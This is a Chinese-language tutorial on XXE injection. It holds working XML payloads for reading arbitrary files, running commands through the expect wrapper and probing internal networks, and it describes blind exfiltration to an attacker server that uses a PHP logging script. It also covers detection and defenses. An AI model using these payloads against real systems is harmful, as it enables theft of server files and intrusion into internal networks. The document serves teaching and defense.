XXE外部实体注入
XXE外部实体注入
学习XXE漏洞,先要了解XML语言
XML:可扩展标记语言
一种用于标记电子文件,使其具有结构性的语言。 设计的宗旨是传输数据,而不是显示数据,XML本身是用来存储数据的纯文本,不会做任何事情。
XXE: 外部实体注入
属于一种注入类型攻击:XML注入
一个典型任意文件读取攻击:
1、XML声明:对XML文档进行声明,告诉服务器,这里是XML文档。同php中的类似。
2、DTD部分:定义XML变量。如图中定义变量xxe的值为file:///etc/passwd
3、XML部分:调用XML变量,进行攻击。
造成XXE的原因:php中存在simplexml_load_string()函数,作用是将XML转换为对象。可以理解为使用了这个函数后,php对XML进行了解析。
接下来搭建攻击环境,服务器上创建XXEtest.php:
正常访问:
1、任意文件读取
为了读取服务器D:\phpStudy\WWW\flag.php内容
攻击:改请求包POST格式,插入payload
base64解码
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/flag.php">
%file;
]>
而大多时候,服务器执行了XML并不会有任何回显(Blind XXE)。但我们可以让服务器把执行结果外带出来,需要做的是在公网服务器上创建一个文件 1.xml 用于接收数据:
1.xml会接收%file传递进来的值,再传给do.php记录下来。%是%的实体编码,避免数据传递引用过程中报错
do.php: 将GET传参的值输出到result.txt中。
<?php file_put_contents("result.txt",$_GET["id"],FILE_APPEND);?>
没有回显,但我们在公网创建的文件接收到了数据,并将数据写在了result.txt中
2.命令执行
需要php环境安装except拓展
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "except://whoami">
%do;
]>
3.内网探测
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "http://192.168.0.7:80">
%do;
]>
…
检测XXE:
手动:
1、数据以XML形式进行传输时,直接插入payload进行测试
2、数据包请求头中Context-Type的值为application/jason,更改为application/xml或者text/xml,然后插入payload测试
工具:
XXEinjector
防御措施:
1、使用禁用外部实体的方法:
php:
libxml_disable_entity_loader(true)
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据关键字
如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
等